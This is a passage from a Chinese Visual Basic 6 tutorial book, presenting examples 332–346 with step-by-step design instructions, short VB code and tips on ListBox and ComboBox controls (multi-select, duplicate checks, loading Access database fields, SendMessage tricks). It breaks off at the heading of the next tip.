	VbListBoxCheckBox：（1复选框）在ListBox控件中，每一个文本项的边上都有一个复选框。在ListBox中可以选择多项。



设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）打开“菜单编辑器”创建如图11.20所示的菜单。

（3）在窗体上添加两个Frame控件。

（4）在Frame1控件中添加一个ListBox控件。

（5）在Frame2控件中添加一个Image控件和一个ListBox控件，设置Image控件的Stretch属性为True，设置其Picture属性，设置List2控件的Style属性为1-CheckBox。

（6）主要程序代码如下：



Private Sub Form_Load()
    List1.AddItem ("主任")
    List2.AddItem "基本信息管理": List2.AddItem "前台信息管理"
    List2.AddItem "后台信息管理": List2.AddItem "经理查询系统"
    List2.AddItem "系统维护"
    For i = 0 To List2.ListCount - 1
        List2.Selected(i) = True
    Next i
End Sub
 
Private Sub List2_ItemCheck(Item As Integer)
    For i = 0 To List2.ListCount - 1
        If List2.Selected(i) = True Then
            Form1.mnu1(i).Enabled = True
        Else
            Form1.mnu1(i).Enabled = False
        End If
    Next i
End Sub




秘笈心法

心法领悟332：复选列表框的Selected属性。

如果MultiSelect属性被设置为0，那么可以使用ListIndex属性来获得选中项的索引，尽管如此，在复选时，ListIndex属性返回的是包含在焦点矩形框内的项的索引，而不管该项是否真正被选中。

如果ListBox控件的Style属性设置为1（复选框），那么Selected属性只对其复选框被选中的项返回True。Selected属性对那些只是显示为高亮度的项不返回True。



 实例333　删除列表框中的复选数据

光盘位置：光盘\MR\11\333

初级

趣味指数：[image: ]




实例说明

列表框控件ListBox能够设置复选框样式，在设置了复选框样式之后，在项目列表中就可以选中多个项目。本实例实现选中列表框中的多个项目，单击“删除”按钮，将选中的项目删除，程序的运行效果如图11.21所示。

[image: ]
图11.21　删除列表框中的复选数据



关键技术

列表框控件的Selected属性用来返回或设置在ListBox控件中的一个项的选择状态。该属性是一个与List属性一样、有相同项数的布尔值数组。当列表项被选中时返回True，否则返回False，语法如下：



object.Selected(index) [= boolean]




参数说明

❶object：对象表达式，其值是“应用于”列表中的一个对象。

❷index：控件中项的索引号。

❸boolean：一个用来指定项是否被选中的布尔表达式，当列表项被选中时返回True，否则返回False。


说明：
 Selected属性对能够复选是尤其有用的。可以快速检查在列表中哪些项已被选中，也可以从代码中使用该属性选中或取消选中列表中的一些项。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个ListBox控件，设置该控件的Style属性为1-CheckBox。

（3）主要程序代码如下：



Private Sub Command1_Click()
    For I = List1.ListCount - 1 To 0 Step -1
        If List1.Selected(I) Then                                '如果项目被选中
            List1.RemoveItem I
        End If
    Next
End Sub




秘笈心法

心法领悟333：ItemCheck事件。

当ListBox控件的Style属性设置为1（复选框）时，ListBox控件中一个项目的复选框被选定或者被清除时该事件发生。



 实例334　快速选中ListBox中的全部条目

光盘位置：光盘\MR\11\334

中级

趣味指数：[image: ]




实例说明

用户在使用ListBox控件时，经常需要全部选择其中的项目，在项目较少时，可以逐项设置Selected来选择全部的项目，但当项目较多时，这样做就比较费时。本实例实现快速选中列表中的所有项目，程序的运行效果如图11.22所示。

[image: ]
图11.22　快速选中ListBox中的全部条目



关键技术

本实例使用API函数SendMessage实现对列表项目的全选。首先要将ListBox控件的MultiSelect属性值设置为1-Simple，使其成为普通多选样式。


说明：
 SendMessage函数的详细讲解请参见实例303中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个ListBox控件，MultiSelect属性值设置为1-Simple。

（3）在窗体上添加两个CommandButton控件，分别设置Caption属性为“全选”和“退出”。

（4）主要程序代码如下：



Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Integer, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Const WM_USER = &H400
Private Const LB_SETSEL = (WM_USER + 6)
Private Const LB_SELITEMRANGEEX = &H183
 
Private Sub Command1_Click()
    '实现过程
    Dim nRet As Long
    Dim bState As Boolean
    bState = True
    nRet = SendMessage(lstlist.hWnd, LB_SELITEMRANGEEX, 0, lstlist.ListCount + 1)
End Sub
Private Sub Form_Load()
    Dim i As Integer
    For i = 0 To 9
        lstlist.AddItem "Item " & I                            '向列表框中添加项目
    Next i
End Sub




秘笈心法

心法领悟334：列表框中的当前选项。

通过ListIndex属性获取当前选项的索引值，如果没有在列表框中选择任何项，ListIndex属性值为-1。



 实例335　列表中拒绝添加重复信息

光盘位置：光盘\MR\11\335

初级

趣味指数：[image: ]




实例说明

数据操作时经常会出现重复项，重复项会使数据冗余，本实例实现向列表中添加信息，如果有重复信息，则弹出提示消息，拒绝向ListBox控件中添加该信息，其实现效果如图11.23所示。

[image: ]
图11.23　列表中拒绝添加重复信息



关键技术

实现ListBox控件中拒绝添加重复信息的方法：在单击“添加”按钮时，循环检索ListBox控件中的数据项，如果有与TextBox控件中输入的信息相同的数据项，则提示相应的信息，拒绝向ListBox控件中添加。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。Caption属性设置为“拒绝向ListBox列表中添加重复信息”，MaxButton属性设置为False，StartUpPosition属性设置为“2-屏幕中心”。

（2）在窗体中添加一个Frame控件，设置其Caption属性为“城市信息”。

（3）在Frame中添加一个ListBox控件，用于显示输入的城市名称。

（4）在窗体中添加一个Label控件、一个TextBox控件、3个CommandButton控件。

（5）主要程序代码如下：



Private Sub Cmd_Add_Click()  '添加按钮
    If Text1.Text = "" Then
        MsgBox "输入的城市信息不能为空值!!", 64, "提示信息"
        Text1.SetFocus
    Else
        If List1.ListCount > 0 Then
            For j = 0 To List1.ListCount
                If List1.List(j) = Text1.Text Then
                    MsgBox "该信息已经存在,不能够录入重复信息", , "提示信息"
                    Text1.Text = ""
                    Text1.SetFocus
                    Exit Sub             '退出子过程
                Else
                End If
            Next j
        Else
        End If
        List1.AddItem Text1.Text
    End If
    cmd_Cancel.SetFocus
End Sub




秘笈心法

心法领悟335：循环删除列表项目时要注意的事项。

当使用循环语句删除列表项时，如果计数变量是从最小索引开始循环，则列表项是从复选的最小索引开始的，删除一个ListBox选项，删除项下面的选项索引将递次减1，实际索引个数在减少。这就造成循环值与索引个数不一致，所以会出现错误。这时就要从选项的最大索引检索复选项，先删除最大的复选项即可解决问题。



 实例336　移动列表中项目到另一个列表

光盘位置：光盘\MR\11\336

初级

趣味指数：[image: ]




实例说明

本实例实现当程序运行时，选择左边列表框中的项目，单击>按钮，将选中的项目添加到右边的列表框中；单击<按钮，将选中的项目从右边的列表框中移除。单击>>按钮，将左边的列表框全部移动到右边；单击<<按钮，将右边的列表框全部移动到左边，程序的运行效果如图11.24所示。

[image: ]
图11.24　移动列表中项目



关键技术

这里使用AddItem方法向列表中添加项目，使用RemoveItem方法将列表中的制定项目移除。使用ListIndex属性判断当前选中的项目。

实现过程即是将左边选中的列表项目移除，添加到右边列表框中。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1，将Caption属性设置为“移动列表中项目”。

（2）在窗体上添加一个Frame控件，设置其Caption属性为空。

（3）在Frame1上添加两个ListBox控件，设置List1的List属性，为其添加列表项。

（4）在Frame1上添加4个命令按钮，分别设置Caption属性。

（5）主要程序代码如下：



Private Sub Command1_Click()
    For i = 0 To List1.ListCount - 1
        List1.ListIndex = i: List2.AddItem List1.Text
    Next i
    List1.Clear
End Sub
Private Sub Command2_Click()
    If List1.ListIndex <> -1 Then
        List2.AddItem List1.Text: List1.RemoveItem List1.ListIndex
    End If
End Sub
 
Private Sub Command3_Click()
    For i = 0 To List2.ListCount - 1
        List2.ListIndex = i: List1.AddItem List2.Text
    Next i
    List2.Clear
End Sub
Private Sub Command4_Click()
    If List2.ListIndex <> -1 Then
        List1.AddItem List2.Text: List2.RemoveItem List2.ListIndex
    End If
End Sub




秘笈心法

心法领悟336：对列表框进行复选。

MultiSelect属性能够在ListBox控件中进行复选。在运行时是只读的。MultiSelect属性设置值为0（默认值）时，不允许复选。设置值为1时，允许复选。鼠标单击或按Space键在列表中选中或取消选中项。（箭头键移动焦点）设置值为2时，扩展复选。按Shift键并单击鼠标或按Shift键以及一个箭头键（上箭头、下箭头、左箭头和右箭头），将在以前选中项的基础上扩展选择到当前选中项。按Ctrl键并单击鼠标在列表中选中或取消选中项。



 实例337　将数据库中的数据表添加到列表中

光盘位置：光盘\MR\11\337

初级

趣味指数：[image: ]




实例说明

本实例实现的是将数据库中的所有数据表添加到ListBox控件中。运行程序，用户可以通过单击…按钮选择要添加到ListBox控件中的Access数据库，即可将该数据库中的数据表添加到下面的ListBox控件中。如图11.25所示，即为将本实例路径下的数据库（db_books.mdb）中的数据表添加到ListBox控件中。

[image: ]
图11.25　将数据库中数据表添加到列表中



关键技术

在实现将数据库的所有数据表添加到ListBox控件列表的过程中主要应用到数据连接对象的OpenSchema方法。首先提取相应的数据库信息，并将该信息添加到MSHFlexGrid控件中，再将MSHFlexGrid控件中TABLE_NAME列中的信息提取到ListBox控件中。下面介绍有关OpenSchema方法的使用。

OpenSchema方法从提供者获取数据库纲要信息，返回包含纲要信息的Recordset对象。Recordset将以只读、静态游标打开，语法如下：



Set recordset = connection.OpenSchema (QueryType, Criteria, SchemaID)




参数说明

❶QueryType：所要运行的纲要查询类型。

❷Criteria：可选参数。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个Frame控件，设置Caption属性为“请选择数据库(Access)”。

（3）在Frame1上添加一个TextBox控件，用于显示所选数据库的路径。一个CommandButton控件用于打开相应的对话框。

（4）在窗体上添加一个Label控件，用于显示相应的信息；添加一个ListBox控件，用于显示该数据库中的数据表。

（5）在窗体上添加一个CommonDialog控件。由于该控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Common Dialog Control 6.0（SP6）复选框，单击“确定”按钮。此时，CommonDialog控件将出现在工具箱中。设置其“名称”属性为Common1。

（6）在窗体上添加一个MSHFlexGrid控件。由于该控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Hierarchical FlexGrid Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，MSHFlexGrid控件将出现在工具箱中。设置其“名称”属性为MS1，Visible属性为False。

（7）主要程序代码如下：



Private CNFeild As New ADODB.Connection               '定义数据连接对象，用于提取字段
Private RSFeild As New ADODB.Recordset                  '定义数据集对象，用于提取字段
Private cn As New ADODB.Connection                   '定义数据连接对象，用于提取主键
Private rs As New ADODB.Recordset                       '定义数据集对象，用于提取主键
Private MSTR As String                               '定义字符串变量，用于存储数据表名，避免向ListBox控件中添加重复项
Dim i As Integer                                  '定义整型变量，用于循环计数
 
Private Sub Command1_Click()
    Common1.Filter = "mdb文件（*.mdb）|*.mdb"            '设置要打开的文件类型
    Common1.ShowOpen                            '调用“打开”对话框
    Text1.Text = Common1.FileName                    '显示文件路径
    On Error Resume Next
    List1.Clear
    Call HQField
    MSTR = MS1.TextMatrix(9, 3)
    List1.AddItem MS1.TextMatrix(9, 3)
    For i = 9 To MS1.Rows
        If MSTR <> MS1.TextMatrix(i, 3) Then
            List1.AddItem MS1.TextMatrix(i, 3)
            MSTR = MS1.TextMatrix(i, 3)
        Else
        End If
    Next i
End Sub
 
Sub HQField()    '用户自定义的提取字段的过程
    CNFeild.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Text1.Text & " ;Persist Security Info=False"
    CNFeild.Open
    Set RSFeild = CNFeild.OpenSchema(adSchemaColumns)        '提取字段名称
    Set MS1.DataSource = RSFeild
    CNFeild.Close
End Sub




秘笈心法

心法领悟337：让列表框多列显示数据。

设置列表框控件的Columns属性可以决定ListBox控件的显示列数。Columns属性为单列时，数据超过长度以垂直滚动条显示列中的项目。Columns属性为多列时，数据超过长度以水平滚动方式显示数据。



 实例338　将表中数据添加到ListBox列表

光盘位置：光盘\MR\11\338

初级

趣味指数：[image: ]




实例说明

本实例实现将数据表中指定字段数据添加到列表中。程序运行后，在左侧表格中显示当前数据表中数据，单击“添加”按钮，将数据表中的“姓名”字段数据添加到右侧列表中，程序的运行效果如图11.26 所示。

[image: ]
图11.26　将表中数据添加到列表中



关键技术

将数据库中数据添加到ListBox列表的思路：通过循环读取数据表中相应字段的记录值，并将其添加到ListBox控件中。本实例左侧的MSHFlexGrid控件主要是用于显示数据表中的数据，与本实例的实现并无太大关系。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个MSHFlexGrid控件。由于该控件属于ActiveX控件，因此在使用之前必须从“部件”对话框中添加到工具箱中。具体添加方法如下：

选择“工程”/“部件”命令，打开“部件”对话框，选中Microsoft Hierarchical FlexGrid Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮之后即可将MSHFlexGrid控件添加到工具箱中。设置其“名称”属性为MS1。

（3）在窗体上添加一个Frame控件，设置其Caption属性为“显示员工姓名信息”。

（4）在Frame控件上添加一个ListBox控件，用于显示数据表中的数据信息。

（5）在窗体上添加两个CommandButton控件，设置其名称为Cmd_OK和Cmd_Cancel，Caption属性为 “添加”和“取消”，用于执行向ListBox控件中添加数据和清除数据。

（6）主要程序代码如下：



Private Sub Cmd_OK_Click()
    List1.Clear
    adocon.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_test.mdb;Persist Security Info=False"
    adors.Open "select * from tb_employee order by id", adocon, adOpenKeyset, adLockOptimistic
    If adors.RecordCount > 0 Then
        adors.MoveFirst
        For i = 0 To adors.RecordCount - 1
            List1.AddItem adors.Fields(1)   '将数据表中的第2列数据添加到List控件中
            adors.MoveNext
        Next i
    End If
    adors.Close
    adocon.Close
End Sub




秘笈心法

心法领悟338：让列表框数据顺序排列。

Sorted属性用于指定控件的元素是否自动按字母表顺序排序。该属性为True时，ListBox进行几乎所有的字符串处理，以保持按字母表排序，包括对添加或删除项目所需的索引序号的改变。该属性只能在设计时设置。



 实例339　带水平滚动条的ListBox控件

光盘位置：光盘\MR\11\339

初级

趣味指数：[image: ]




实例说明

在利用ListBox控件编写应用程序时，经常会遇到这样的情况，如果在ListBox控件中输入的文本信息过长将有一部分文本信息被挡住。这样将影响阅读，而如果将ListBox控件的宽度加宽会影响窗体的整体布局。本程序实现在ListBox中添加滚动条。运行程序，在文本框中输入要添加的信息，按Enter键即可将相应的信息添加到ListBox控件中。例如，本实例中，当输入“明日科技”时，没有水平滚动条，当输入“吉林省明日科技有限公司”时出现水平滚动条，其实现效果如图11.27所示。

[image: ]
图11.27　给ListBox添加水平滚动条



关键技术

在实现向ListBox控件中添加水平滚动条的过程中，主要应用到了API函数SendMessage。利用SendMessage函数传送LB_SETHORIZONTALEXTENT讯息给ListBox控件，设定ListBox控件的水平滚动条。

SendMessage函数调用一个窗口的窗口函数，将一条信息发给那个窗口。直到信息被处理完毕，该函数才会返回。


说明：
 SendMessage函数的详细讲解请参见实例303中的关键技术。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个Frame控件。

（3）在Frame1中添加两个Frame控件。

（4）在Frame2中添加一个ListBox控件，用于显示添加的数据信息。

（5）在Frame3中添加一个TextBox控件，用于向ListBox中输入数据。

（6）主要程序代码如下：



Private Sub Text1_KeyPress(KeyAscii As Integer)
    If KeyAscii = 13 Then
        List1.AddItem Text1.Text
        If Me.TextWidth(Text1) >= 0.07 * Me.List1.Width Then
            SendMessage List1.hwnd, LB_SETHORIZONTALEXTENT, 6 * Me.TextWidth(Text1), ByVal 0&
        End If
    End If
End Sub




秘笈心法

心法领悟339：ListBox控件的Columns属性。

如果该属性设置为0，则不能在程序运行时改变Columns属性的设置，但如果该属性设置为非0，则可以在程序运行时改变该属性的设置值。



 实例340　在列表框数据中随机抽取数据

光盘位置：光盘\MR\11\340

初级

趣味指数：[image: ]




实例说明

本实例实现在列表框中随机抽取数据，显示在另一个列表框中。运行程序后，左侧列表中显示了可能被抽取到的数据，单击“随机抽取”按钮，在右侧列表中随机抽取左侧列表中的5个记录显示在右侧列表中，程序的运行效果如图11.28所示。

[image: ]
图11.28　在列表框数据中随机抽取数据



关键技术

本实例使用Rnd函数实现随机获取一个列表中的项目，使用循环语句随机抽取5条记录。使用AddItem方法将记录添加到列表框中。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加两个ListBox控件，设置List1的List属性，为其添加列表项。

（3）在窗体上添加一个命令按钮，设置Caption属性为“随机抽取”。

（4）主要程序代码如下：



Private Sub Command1_Click()
    List2.Clear
    Randomize
    For i = 0 To 4
        List2.AddItem List1.List(Rnd * (List1.ListCount - 1))
    Next i
End Sub




秘笈心法

心法领悟340：多列显示的列表框列宽。

对于具有水平滚动条的ListBox控件，列宽等于ListBox宽度除以列的个数。



 实例341　防止将重复项目添加到组合框控件中

光盘位置：光盘\MR\11\341

初级

趣味指数：[image: ]




实例说明

如果组合框中有重复数据，会影响用户的操作，使程序显得不够严谨。本实例实现演示防止将重复项目添加到组合框中。运行程序，组合框中自动添加了一些项目，单击“删除重复数据”按钮，可将重复项目删除；在组合框中输入一个已有项目，按Enter键，则提示输入数据重复，程序的运行效果如图11.29所示。

[image: ]
图11.29　禁止输入重复数据



关键技术

要防止重复项目添加到组合框控件，需要将输入的项目与列表中的数据进行比较，如果数据重复，则不添加。如果不重复，则添加项目。如果要将列表中重复数据删除，则须使用双重循环进行判断，删除重复数据。这里使用组合框的ListCount属性获取组合框的项目数量，使用此值进行循环，遍历组合框中的项目。使用List属性显示指定项目信息，使用Text属性获取当前组合框的文本内容。下面分别介绍这几个属性的使用方法。

（1）List属性

该属性用于返回或设置控件的列表部分的项目。列表是一个字符串数组，数组的每一项都是一列表项目，对ComboBox控件在设计时可以通过属性浏览器得到，并且在运行时是可读写的，语法如下：



object.List(index) [= string]




参数说明

❶object：对象表达式。

❷index：列表中具体某一项目的号码。

❸string：字符串表达式，指定列表中的项目。

（2）ListCount属性

该属性用于返回控件的列表部分项目的个数，语法如下：



object.ListCount




参数说明

object：所在处表示对象表达式。

ListCount属性对每个控件提供具体的信息如表11.3所示。

表11.3　ListCount属性对每个控件提供具体的信息



	设置值
	描述



	ComboBox和ListBox控件
	列表中的项目数



	DirListBox控件
	当前目录中子目录的个数



	DriveListBox控件
	连接的驱动器个数



	FileListBox控件
	当前目录中匹配Pattern属性设置的文件个数




（3）Text属性

该属性用于返回或设置编辑域中的文本。Style属性设置为0（下拉组合框）或为1（简单组合框）有效。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个命令按钮，设置Caption属性为“删除重复数据”。

（3）在窗体上添加一个ComboBox控件。

（4）主要程序代码如下：



Private Sub Combo1_KeyDown(KeyCode As Integer, Shift As Integer)            '禁止输入重复数据
    If KeyCode = vbKeyReturn Then                                '按Enter键
        For i = 0 To Combo1.ListCount – 1                            '遍历组合框中项目
            If Combo1.List(i) = Combo1.Text Then                        '判断当前输入是否存在
                MsgBox ("输入数据重复！！！")                        '提示信息
                Exit Sub
            End If
        Next i
        Combo1.AddItem Combo1.Text                            '添加项目
        MsgBox ("已添加到列表！！！")
    End If
End Sub
 
Private Sub Command1_Click()
    For i = 0 To Combo1.ListCount - 1
        For x = 0 To Combo1.ListCount - 1
            If i <> x Then
                If LCase(Combo1.List(x)) = LCase(Combo1.List(i)) Then        '判断是否有重复数据
                    Combo1.RemoveItem x                            '移除项目
                End If
            End If
        Next x
    Next i
End Sub




秘笈心法

心法领悟341：禁止向组合框输入数据。

设置ComboBox控件的Style属性值为2（下拉式列表），可以使组合框只能选择，不能录入。



 实例342　实现ComboBox条目快速查询

光盘位置：光盘\MR\11\342

初级

趣味指数：[image: ]




实例说明

组合框ComboBox控件中的条目过多，想在其中选择需要的项目是很困难的。本实例实现ComboBox控件中条目自动快速查询，以方便查看ComboBox中的项目，程序的运行效果如图11.30所示。输入一个“超”字，则组合框文本直接显示“超级玛莉”。

[image: ]
图11.30　ComboBox控件中条目自动快速查询



关键技术

使用API函数SendMessage实现ComboBox控件中条目自动快速查询，该函数将参数传递给ComboBox控件，以实现查询的功能。该函数用于调用一个窗口的窗口函数，将一条消息发给那个窗口。直到消息被处理完毕，该函数才会返回。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认名为Form1。

（2）在窗体上添加一个标签控件。

（3）在窗体上添加一个ComboBox控件。

（4）主要程序代码如下：



Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Const CB_FINDSTRING = &H14C
Const CB_ERR = (-1)
Private Sub Combo1_KeyPress(KeyAscii As Integer)
    Dim Temp As Long: Dim MyStr As String
    If Combo1.SelLength = 0 Then  '如果选择的字符为0，将列标框中的文本与键入的字符相组合
        MyStr = Combo1.Text & Chr(KeyAscii)
    Else  '如果选择的字符数不为0
        MyStr = Left(Combo1.Text, Combo1.SelStart) & Chr(KeyAscii)
    End If
    '在列表框控件中查找与变量MyStr相匹配的字符串
    '如果找到，则返回值为第一个匹配的字符串的索引值。如果未找到，则返回值为-1
    Temp = SendMessage(Combo1.hwnd, CB_FINDSTRING, True, ByVal MyStr)
    If Temp <> CB_ERR Then  '如果找到
        Combo1.ListIndex = Temp  '将找到的项目添加到编辑部分
        Combo1.SelStart = Len(Combo1.Text)  '将光标设置在文本尾部
    End If
    KeyAscii = 0
End Sub




秘笈心法

心法领悟342：返回最近加入ComboBox控件的项的索引。

NewIndex属性用来返回最近加入ComboBox控件的项的索引，可以轻松获得最近添加项的内容。



 实例343　将数据表中的字段添加到ComboBox控件

光盘位置：光盘\MR\11\343

初级

趣味指数：[image: ]




实例说明

本实例实现的是将数据表中的字段名添加到ComboBox控件中。运行程序，单击“添加”按钮，即可将本实例文件夹下的数据库（db_medicine.mdb）中的数据表（tb_xsd）中的字段添加到ComboBox控件中，选择字段，可以将字段数据显示到列表中，其实现效果如图11.31所示。

[image: ]
图11.31　将数据表中字段添加到ComboBox控件中



关键技术

要将数据表中的字段添加到ComboBox控件，需通过数据集对象提取相应表中的字段的名称并将其保存到ComboBox控件中。AddItem方法用于将项目添加到ComboBox控件中。

设计过程

（1）新建一个标准工程，创建一个新窗体，命名为main_cxtj_sellfind。

（2）在窗体上添加一个Frame控件。

（3）在Frame1上添加一个Label控件、一个ComboBox控件，ComboBox命名为Cbx_Fields，主要用于存储数据表中的字段信息。再添加一个CommandButton控件，命名为Cmd_Add，主要用于执行添加操作。

（4）添加一个ListBox控件，用于显示数据。

（5）主要程序代码如下：



Private Sub Cmd_Add_Click()  '添加按钮
    Cbx_Fields.Clear
    rs.Open "select * from tb_xsd", cnn, adOpenKeyset, adLockOptimistic
    Set fld = rs.Fields
    For Each fld In rs.Fields
        '向ComboBox控件中添加字段
        Cbx_Fields.AddItem fld.Name
    Next
    rs.Close
    Cbx_Fields.ListIndex = 0
End Sub
 
Private Sub Cbx_Fields_Click()
    Dim adors As New Recordset
    If Cbx_Fields.ListIndex <> -1 Then
        List1.Clear
        adors.Open "select " & Cbx_Fields.List(Cbx_Fields.ListIndex) & "  from tb_xsd ", cnn, adOpenKeyset, adLockOptimistic
        If adors.RecordCount > 0 Then
            adors.MoveFirst
            For i = 0 To adors.RecordCount - 1
                List1.AddItem adors.Fields(0)   '将数据表中的第2列数据添加到List控件中
                adors.MoveNext
            Next i
        End If
        adors.Close
    End If
End Sub




秘笈心法

心法领悟343：绑定数据源的ComboBox控件。

在程序编写过程中，绑定到Data控件的ComboBox控件不支持Clear方法。



 实例344　自动改变ComboBox下拉列表的长度

光盘位置：光盘\MR\11\344

初级

趣味指数：[image: ]




实例说明

ComboBox控件的下拉列表框长度是固定的，当长度不够显示所有项目时，将自动添加一个滚动条。本实例实现自动改变ComboBox控件下拉列表框的长度，使其按照窗体的大小进行调整，程序的运行效果如图11.32所示。

[image: ]
图11.32　自动改变ComboBox控件下拉列表的长度



关键技术

本实例使用MoveWindow函数实现改变ComboBox下拉列表的长度。MoveWindow函数用于改变指定窗口的位置和大小，语法如下：



Public Declare Function MoveWindow Lib "user32" Alias "MoveWindow" (ByVal hwnd As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long




参数说明如表11.4所示。

表11.4　MoveWindow函数的参数说明



	参数
	说明



	hwnd
	Long，欲移动窗口的句柄



	x
	Long，窗口新的左侧位置



	y
	Long，窗口新的顶部位置



	nWidth
	Long，窗口的新宽度



	nHeight
	Long，窗口的新高度



	bRepaint
	Long，如窗口此时应重画，则设为True（非0）。False（0）则表明应用程序会自己决定是否重画窗口




设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加一个ComboBox控件。

（3）主要程序代码如下：



Private Declare Function MoveWindow Lib "user32" (ByVal hwnd As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
Public Sub sizecombo(form1 As Form, Cbo1 As ComboBox)
    Dim cleft As Integer
    Dim ctop As Integer
    Dim cwidth As Integer
    Dim cheight As Integer
    Dim oldmode As Integer
    oldmode = form1.ScaleMode
    form1.ScaleMode = vbPixels
    cleft = Cbo1.Left
    ctop = Cbo1.Top
    cwidth = Cbo1.Width
    cheight = form1.ScaleHeight - Cbo1.Top - 5
    form1.ScaleMode = oldmode
    MoveWindow Cbo1.hwnd, cleft, ctop, cwidth, cheight, 1
End Sub




秘笈心法

心法领悟344：设置ComboBox下拉列表的第一项。

TopIndex属性返回或设置一个值，该值指定了在ComboBox控件中的哪个项被显示在顶部的位置。在设计时是不可用的。



 实例345　改变ComboBox控件下拉列表的宽度

光盘位置：光盘\MR\11\345

初级

趣味指数：[image: ]




实例说明

ComboBox控件的下拉列表框宽度是固定的，当宽度不够显示一个项目的所有内容时，将会使内容被遮挡，显示不完全。本实例实现改变ComboBox控件下拉列表框的宽度，使其按照设定的值进行调整，程序的运行效果如图11.33所示。

[image: ]
图11.33　改变ComboBox控件下拉列表的宽度



关键技术

本实例使用API函数SendMessage实现改变下拉列表的宽度。SendMessage函数用于调用一个窗口的窗口函数，将一条消息发给那个窗口。除非消息处理完毕，否则该函数不会返回。此函数的使用方法前面已经介绍，这里不再赘述。将消息标识符设置为常数CB_GETDROPPEDWIDTH，用来获取下拉列表框宽度；消息标识符设置为CB_SETDROPPEDWIDTH，将根据给定值设置下拉列表宽度。

设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加一个ComboBox控件。

（3）主要程序代码如下：



Public Property Let DropDownWidth(ByRef cboThis As ComboBox, ByVal lWidth As Long)
    SendMessage cboThis.hwnd, CB_SETDROPPEDWIDTH, lWidth, 0                 '设置列表框宽度
End Property
 
Public Property Get DropDownWidth(ByRef cboThis As ComboBox) As Long
    Dim lW As Long
    DropDownWidth = SendMessage(cboThis.hwnd, CB_GETDROPPEDWIDTH, 0, 0)        '获取列表框宽度
End Property




秘笈心法

心法领悟345：设置组合框样式。

使用Style属性设置组合框样式，可以设置为下拉式组合框（默认使用）、简单组合框和下拉式列表3种样式。



 实例346　将ComboBox控件放到ToolBar控件上

光盘位置：光盘\MR\11\346

初级

趣味指数：[image: ]




实例说明

有些应用程序中需要将组合框显示在工具栏中，用于数据选择。本实例实现将ComboBox控件添加到工具栏上，使其与工具栏按钮并排显示，程序的运行效果如图11.34所示。

[image: ]
图11.34　将组合框放到工具栏上



关键技术

ToolBar控件可以摆放任意Button控件。方法都是用Add方法将Button对象添加到ToolBar控件中去。每个按钮的状态都由Style属性决定。Style属性返回或设置常数或值，它决定ToolBar控件中的Button对象的外观和状态，语法如下：



object.Style [=value]




参数说明

value：是常数或整数，它决定Button对象的外观和状态，其详细描述如表11.5所示。

表11.5　参数value的值



	常数
	值
	说明



	tbrDefault
	0
	（默认的）按钮。按钮是一个规则的下压按钮



	tbrCheck
	1
	复选。按钮是一个复选按钮，它可以被选定或者不被选定



	tbrButtonGroup
	2
	按钮组。直到组内的另一个按钮被按下之前，按钮都保持按下的状态。在任何时刻都只能按下组内一个按钮



	tbrSeparator
	3
	分隔符。按钮的功能是作为有8个像素的固定宽度的分隔符



	tbrPlaceholder
	4
	占位符。按钮在外观和功能上像分隔符，但具有可设置的宽度



	tbrDropDown
	5
	MenuButton按钮放下。用这种样式查看MenuButton对象




设计过程

（1）新建一个标准工程，创建一个新窗体，窗体名称默认为Form1。

（2）在窗体上添加一个ComboBox控件。

（3）在窗体上添加一个ToolBar控件。

（4）主要程序代码如下：



Private Sub Form_load()
    Dim btn As Button
    Combo1.AddItem "50%"
    Combo1.AddItem "100%"
    Combo1.AddItem "200%"
    Combo1.AddItem "400%"
    Combo1.Text = "100%"
    Me.Show
 
    Set btn = Toolbar1.Buttons.Add
    btn.Style = tbrDefault
    btn.Caption = "打开"
    Set btn = Toolbar1.Buttons.Add
    btn.Style = tbrDefault
    btn.Caption = "保存"
    Set btn = Toolbar1.Buttons.Add()
    btn.Style = tbrSeparator
 
    Set btn = Toolbar1.Buttons.Add()
    btn.Style = tbrPlaceholder
    btn.Key = "ComboBox"
    btn.Width = 1000
    Set btn = Toolbar1.Buttons.Add
    btn.Style = tbrDefault
    btn.Caption = "查看"
    Set Combo1.Container = Toolbar1
    Combo1.ZOrder 0
    Combo1.Width = Toolbar1.Buttons("ComboBox").Width
    Combo1.Top = Toolbar1.Buttons("ComboBox").Top
    Combo1.Left = Toolbar1.Buttons("ComboBox").Left
    Combo1.Visible = True
End Sub




秘笈心法

心法领悟346：列表中项目顺序。

